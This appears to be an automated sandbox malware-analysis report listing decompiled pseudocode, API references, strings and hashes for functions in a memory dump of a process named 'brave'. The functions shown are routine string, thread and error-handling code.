Instruction ID: b6d7ee42f16fc94205b2707e7a4d1678ca21712c6256eb82743b4694e5d717a5
Opcode Fuzzy Hash: f75f473cc27cf5f1c1fc51378073b3bce385c5a3abcb57c2d3be634da1e2c61d
Instruction Fuzzy Hash: F401E265E1CA0796FB51DB52F8449B526A4AF48BD4F944134CA2CC73E1FE2DEB8AC300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CCDF0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4CCDF0(void* __rax, void* __rcx, intOrPtr* __r8) {
				intOrPtr _t13;
				signed char _t14;
				signed long long _t41;

				if (__r8 == 0) goto 0xfc4cce93;
				r13d = 1;
				goto 0xfc4cce89;
				if ( *((intOrPtr*)(__r8 + 0x10)) != 0) goto 0xfc4cce81;
				_t13 =  *((intOrPtr*)( *((intOrPtr*)(__r8 + 8))));
				if (r9d != 0) goto 0xfc4cce45;
				_t14 = __rax - 0x1c;
				if (_t14 - 0x34 > 0) goto 0xfc4cce45;
				if ((_t41 << _t14 & 0x0000001f) != 0) goto 0xfc4cce81;
				 *((intOrPtr*)(__r8 + 0x10)) = 1;
				 *((long long*)(__rcx + 0x120)) =  *((intOrPtr*)(__r8 + 0x18));
				if (_t13 == 0x29) goto 0xfc4ccea0;
				if (_t13 == 0x2a) goto 0xfc4ccec4;
				if (_t13 == 2) goto 0xfc4ccee8;
				E00007FF67FF6FC4CC080();
				if ( *__r8 == 0) goto 0xfc4cce93;
				if ( *((intOrPtr*)(__rcx + 0x130)) == 0) goto 0xfc4cce20;
				return _t13;
			}

0x7ff6fc4cce08
0x7ff6fc4cce18
0x7ff6fc4cce1e
0x7ff6fc4cce25
0x7ff6fc4cce2b
0x7ff6fc4cce30
0x7ff6fc4cce32
0x7ff6fc4cce38
0x7ff6fc4cce43
0x7ff6fc4cce49
0x7ff6fc4cce57
0x7ff6fc4cce61
0x7ff6fc4cce66
0x7ff6fc4cce6b
0x7ff6fc4cce75
0x7ff6fc4cce87
0x7ff6fc4cce91
0x7ff6fc4cce9f

Strings

}, xrefs: 00007FF6FC4CD0F0
:, xrefs: 00007FF6FC4CCF06
default arg#, xrefs: 00007FF6FC4CCFEB
}::, xrefs: 00007FF6FC4CD0E9
{, xrefs: 00007FF6FC4CCFF2

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: :$default arg#${$}$}::
API String ID: 0-1396675520
Opcode ID: 08332cc808a94058415bfcd868a3a9bd3ccee03719ae4bd389e3f5cf73b7d852
Instruction ID: f2ecceb73cb40b853e921f2b77551e0c021ee08cefdefaeaa1a91126681cc274
Opcode Fuzzy Hash: 08332cc808a94058415bfcd868a3a9bd3ccee03719ae4bd389e3f5cf73b7d852
Instruction Fuzzy Hash: F891BF72B0868686E769CB25B4003FA63A1EB45B9CF184035CFAA477D5EF7DE685D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D7A50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF6FC4D7A70
GetCurrentThreadId.KERNEL32 ref: 00007FF6FC4D7A9D
printf.MSVCRT ref: 00007FF6FC4D7AD5

Strings

RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s, xrefs: 00007FF6FC4D7AAB
RWL%p %d %s, xrefs: 00007FF6FC4D7A7C

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CurrentThread$printf
String ID: RWL%p %d %s$RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s
API String ID: 2165381015-1971217749
Opcode ID: 8cead37bc54ed6b6f1a314987bdb91882d6bbe9169badf4922341b7b210ccfed
Instruction ID: c68e967a94f8523fe3f3a573a34b0108f0b2457c420e7a587a9bded0ef9f614a
Opcode Fuzzy Hash: 8cead37bc54ed6b6f1a314987bdb91882d6bbe9169badf4922341b7b210ccfed
Instruction Fuzzy Hash: 86018C72A08A4986EB119B15F844B6A77A0EB84B98F188030DE1DC37D4FF3DD645CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D8E10 Relevance: 7.7, APIs: 5, Instructions: 186
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00007FF67FF6FC4D8E10(void* __edx, long long __rax, long long __rcx, void* __r9) {
				long long _v48;
				char _v56;
				void* _t6;
				void* _t9;
				void* _t17;
				long long _t25;

				_t25 = __rax;
				r12d = r8d;
				if (__edx == 1) goto 0xfc4d8e90;
				_v56 = __rcx;
				E00007FF67FF6FC4D5420(__rax);
				_v48 = _t25;
				if (_t25 == 0) goto 0xfc4d8f20;
				r8d = 0;
				r9d = r12d;
				_t6 = E00007FF67FF6FC4D7560(2, _t25,  &_v56, __r9);
				_t17 = _t6 - 0x80;
				if (_t17 == 0) goto 0xfc4d9080;
				if (_t17 > 0) goto 0xfc4d8ed8;
				if (_t6 == 0) goto 0xfc4d8ec0;
				if (_t6 != 1) goto 0xfc4d9040;
				ResetEvent(??);
				if (__edx != 2) goto 0xfc4d90c9;
				E00007FF67FF6FC4D58E0(2, _t25,  &_v56);
				goto 0xfc4d8e45;
				_t9 = E00007FF67FF6FC4D74C0(r8d, _t25, _v48,  &_v56);
				if (_t9 == 0x80) goto 0xfc4d905d;
				if (_t9 == 0x102) goto 0xfc4d9058;
				r12d = 0x16;
				if (_t9 != 0) goto 0xfc4d8ec3;
				r12d = 0;
				return r12d;
			}

0x7ff6fc4d8e10
0x7ff6fc4d8e20
0x7ff6fc4d8e26
0x7ff6fc4d8e28
0x7ff6fc4d8e32
0x7ff6fc4d8e37
0x7ff6fc4d8e3f
0x7ff6fc4d8e45
0x7ff6fc4d8e48
0x7ff6fc4d8e53
0x7ff6fc4d8e58
0x7ff6fc4d8e5d
0x7ff6fc4d8e63
0x7ff6fc4d8e67
0x7ff6fc4d8e6c
0x7ff6fc4d8e77
0x7ff6fc4d8e80
0x7ff6fc4d8e86
0x7ff6fc4d8e8b
0x7ff6fc4d8e93
0x7ff6fc4d8e9d
0x7ff6fc4d8ea8
0x7ff6fc4d8eae
0x7ff6fc4d8eb6
0x7ff6fc4d8ec0
0x7ff6fc4d8ed1

APIs

Part of subcall function 00007FF6FC4D7560: WaitForMultipleObjects.KERNEL32 ref: 00007FF6FC4D75D4

ResetEvent.KERNEL32 ref: 00007FF6FC4D8E77
WaitForSingleObject.KERNEL32 ref: 00007FF6FC4D8EF0

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Wait$EventMultipleObjectObjectsResetSingle
String ID:
API String ID: 256776027-0
Opcode ID: 121a88b0db4ee25a2ff43eadc307b2352640e593a580d7043225a0e0878fb419
Instruction ID: 930b4cb0f5f3fdee8f2c462f2849184ecaba726c929f467e060843a710683872
Opcode Fuzzy Hash: 121a88b0db4ee25a2ff43eadc307b2352640e593a580d7043225a0e0878fb419
Instruction Fuzzy Hash: 08514921E0C40341FBA17626B40177A40A37FA479DF544436DE3EC67D2FDADAB899782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4EEC70 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF6FC4EEC82
memcpy.MSVCRT ref: 00007FF6FC4EECD4
memcpy.MSVCRT ref: 00007FF6FC4EED90

Strings

basic_string::append, xrefs: 00007FF6FC4EED2A, 00007FF6FC4EEDE8

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: basic_string::append
API String ID: 1844840824-3811946249
Opcode ID: 6cebfcec6de9b3593e030ed6678d1432fc8d21d84097160306933d0743cdec40
Instruction ID: cd279878b0ea865173da0703a3fdd428d1211f8ab1fe2554df3d25673782f045
Opcode Fuzzy Hash: 6cebfcec6de9b3593e030ed6678d1432fc8d21d84097160306933d0743cdec40
Instruction Fuzzy Hash: A3519162B19A5681EB10DB25E4084BD2361FB55BC8B9A4632DE7D873E1FFBCE641C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4EBAC0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 158stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6FC4EBAD2
memcpy.MSVCRT ref: 00007FF6FC4EBB22
memcpy.MSVCRT ref: 00007FF6FC4EBBDD

Strings

basic_string::append, xrefs: 00007FF6FC4EBB7D, 00007FF6FC4EBC3B

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: basic_string::append
API String ID: 2619041689-3811946249
Opcode ID: e52a5d2963f204db0f47163310a085c06c72244473eb4e09b667bfb4340310bf
Instruction ID: b9091095ff7f7d4dd1eebc4c2d53b35e273b0c45142c911baa132acf4b13a152
Opcode Fuzzy Hash: e52a5d2963f204db0f47163310a085c06c72244473eb4e09b667bfb4340310bf
Instruction Fuzzy Hash: FD510563A0DA4A84DB20DB19E4589793764FB46BD8F8A4532EE7D87BD1FE2CD240C304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4F0750 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4F0750(long long* __rcx, void* __rdx) {
				long long _t14;
				signed long long _t16;
				signed long long _t18;
				signed long long _t19;

				_t19 =  *((intOrPtr*)(__rdx + 8));
				_t16 = _t19 + _t19;
				_t14 = __rcx + 0x10;
				_t18 = _t16 >> 1;
				 *__rcx = _t14;
				if (_t16 - 0xe > 0) goto 0xfc4f07c0;
				if (_t18 == 1) goto 0xfc4f07b0;
				if (_t18 != 0) goto 0xfc4f07a0;
				 *(__rcx + 8) = _t18;
				 *((short*)(_t14 + _t19 * 2)) = 0;
				return 0;
			}

0x7ff6fc4f075a
0x7ff6fc4f075e
0x7ff6fc4f0769
0x7ff6fc4f076d
0x7ff6fc4f0770
0x7ff6fc4f077a
0x7ff6fc4f0780
0x7ff6fc4f0785
0x7ff6fc4f0789
0x7ff6fc4f078d
0x7ff6fc4f079b

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4F0848, 00007FF6FC4F089F, 00007FF6FC4F08EF
basic_string::_M_create, xrefs: 00007FF6FC4F07F7
string::string, xrefs: 00007FF6FC4F08E8
basic_string::basic_string, xrefs: 00007FF6FC4F0841, 00007FF6FC4F0898

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-126128797
Opcode ID: 66f3f228ea3a18784f6c83e61baa3469eb30d59ff27e738029579d98566150f7
Instruction ID: 3382a055cf5dd6f5e79ff438dfa2cc09899c54b12df29b88a3d5365de2f6476e
Opcode Fuzzy Hash: 66f3f228ea3a18784f6c83e61baa3469eb30d59ff27e738029579d98566150f7
Instruction Fuzzy Hash: DF4193A2B05B46D8EB109F29E8404AC6360FB54F98B945632DA2D873D4FF6CD696C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4F0290 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4F0290(long long* __rcx, void* __rdx) {
				long long _t14;
				signed long long _t16;
				signed long long _t18;
				signed long long _t19;

				_t19 =  *((intOrPtr*)(__rdx + 8));
				_t16 = _t19 + _t19;
				_t14 = __rcx + 0x10;
				_t18 = _t16 >> 1;
				 *__rcx = _t14;
				if (_t16 - 0xe > 0) goto 0xfc4f0300;
				if (_t18 == 1) goto 0xfc4f02f0;
				if (_t18 != 0) goto 0xfc4f02e0;
				 *(__rcx + 8) = _t18;
				 *((short*)(_t14 + _t19 * 2)) = 0;
				return 0;
			}

0x7ff6fc4f029a
0x7ff6fc4f029e
0x7ff6fc4f02a9
0x7ff6fc4f02ad
0x7ff6fc4f02b0
0x7ff6fc4f02ba
0x7ff6fc4f02c0
0x7ff6fc4f02c5
0x7ff6fc4f02c9
0x7ff6fc4f02cd
0x7ff6fc4f02db

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4F0388, 00007FF6FC4F03DF, 00007FF6FC4F042F
basic_string::_M_create, xrefs: 00007FF6FC4F0337
string::string, xrefs: 00007FF6FC4F0428
basic_string::basic_string, xrefs: 00007FF6FC4F0381, 00007FF6FC4F03D8

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-126128797
Opcode ID: fa530074e51c7f9f7c906e36678571559d185e73af13ed167796c0c752426d85
Instruction ID: a62efb14db66b83135641ab0342dbe8104cee36a13e3d62d38a51be9512d0a22
Opcode Fuzzy Hash: fa530074e51c7f9f7c906e36678571559d185e73af13ed167796c0c752426d85
Instruction Fuzzy Hash: 5F41A0B2B05B46D9EB109F29E8404AC6360FB54F98B945632DA3D877E4FE7CD696C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D0640 Relevance: 7.6, APIs: 5, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4D0640(void* __rax, intOrPtr* __rcx, void* __rdx) {
				void* _t4;
				void* _t20;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t24 = __rdx;
				_t20 = __rax;
				_t27 = __rcx;
				if (__rdx == 0) goto 0xfc4d066f;
				E00007FF67FF6FC4D7400(_t4, __rdx);
				E00007FF67FF6FC4D73B0(_t20, _t24);
				if (_t20 - _t20 > 0) goto 0xfc4d06b0;
				_t26 =  *_t27;
				_t1 = _t26 + 3; // 0x3
				if (_t1 - 3 <= 0) goto 0xfc4d06d1;
				if (_t26 == 0) goto 0xfc4d06e4;
				r13d = 1;
				 *_t26 = r13d;
				if ( *_t26 != 0) goto 0xfc4d0708;
				if ( *((intOrPtr*)(_t26 + 4)) != 0) goto 0xfc4d06f8;
				return 0;
			}

0x7ff6fc4d0640
0x7ff6fc4d0640
0x7ff6fc4d0650
0x7ff6fc4d0659
0x7ff6fc4d065b
0x7ff6fc4d0665
0x7ff6fc4d066d
0x7ff6fc4d066f
0x7ff6fc4d0673
0x7ff6fc4d067c
0x7ff6fc4d0681
0x7ff6fc4d0683
0x7ff6fc4d068c
0x7ff6fc4d0692
0x7ff6fc4d069b
0x7ff6fc4d06aa

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: f49b37cc6554afe07983d2b0d8d35f3757fbd10da3a986622ae24d0176cd62df
Instruction ID: 481a13dba856cd1332fece725dd8d0af2e9c93cf310763b1673348abd8d068d3
Opcode Fuzzy Hash: f49b37cc6554afe07983d2b0d8d35f3757fbd10da3a986622ae24d0176cd62df
Instruction Fuzzy Hash: 6B41B222F0825246FBA5BB25B848A7A25D6EF40798F554035EE3CC77C0FE7CAA81C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D04E0 Relevance: 7.6, APIs: 5, Instructions: 102
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4D04E0(intOrPtr* __rcx) {
				intOrPtr* _t16;

				_t16 =  *((intOrPtr*)(__rcx));
				_t1 = _t16 + 3; // 0x3
				if (_t1 - 3 <= 0) goto 0xfc4d0540;
				if (_t16 == 0) goto 0xfc4d0550;
				 *_t16 = 1;
				if ( *_t16 != 0) goto 0xfc4d0560;
				if ( *((intOrPtr*)(_t16 + 4)) != 0) goto 0xfc4d0520;
				return 0;
			}

0x7ff6fc4d04e9
0x7ff6fc4d04ec
0x7ff6fc4d04f5
0x7ff6fc4d04fa
0x7ff6fc4d0503
0x7ff6fc4d0509
0x7ff6fc4d0512
0x7ff6fc4d051f

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF6FC4D0520

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a892f5a888edd9dfb3e980655216f5831920c2c6f9fa8653408e139a634474d4
Instruction ID: c0b544891b587b09123965ae5a0d159c577a86459e9589d1b8ae82654f92af42
Opcode Fuzzy Hash: a892f5a888edd9dfb3e980655216f5831920c2c6f9fa8653408e139a634474d4
Instruction Fuzzy Hash: 7B31A232B1921286FB56EB24B858B6A2196EF403A9F554534DE2CC72C0FF38E981C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D52D0 Relevance: 7.6, APIs: 5, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00007FF67FF6FC4D52D0(void* __ecx, void* __rax, long long __rdx) {
				void* _t15;
				void* _t18;
				void* _t20;
				signed long long _t25;

				_t18 = __rax;
				_t15 = __ecx;
				r12d = GetLastError();
				E00007FF67FF6FC4D2D40(__ecx, __rdx);
				_t1 = _t18 + 0x68; // 0x68
				_t20 = _t18;
				E00007FF67FF6FC4D8830(_t1, __rdx);
				if ( *((intOrPtr*)(_t20 + 0x48)) - _t15 <= 0) goto 0xfc4d5340;
				 *((long long*)( *((intOrPtr*)(_t20 + 0x50)) + _t25 * 8)) = __rdx;
				 *((char*)( *((intOrPtr*)(_t20 + 0x58)) + _t25)) = 1;
				E00007FF67FF6FC4D8870(_t1);
				SetLastError(??);
				return 0;
			}

0x7ff6fc4d52d0
0x7ff6fc4d52e0
0x7ff6fc4d52eb
0x7ff6fc4d52ee
0x7ff6fc4d52f3
0x7ff6fc4d52f7
0x7ff6fc4d52fd
0x7ff6fc4d5305
0x7ff6fc4d530b
0x7ff6fc4d5316
0x7ff6fc4d531a
0x7ff6fc4d5322
0x7ff6fc4d533a

APIs

GetLastError.KERNEL32 ref: 00007FF6FC4D52E5

Part of subcall function 00007FF6FC4D2D40: TlsGetValue.KERNEL32 ref: 00007FF6FC4D2DA0

SetLastError.KERNEL32 ref: 00007FF6FC4D5322
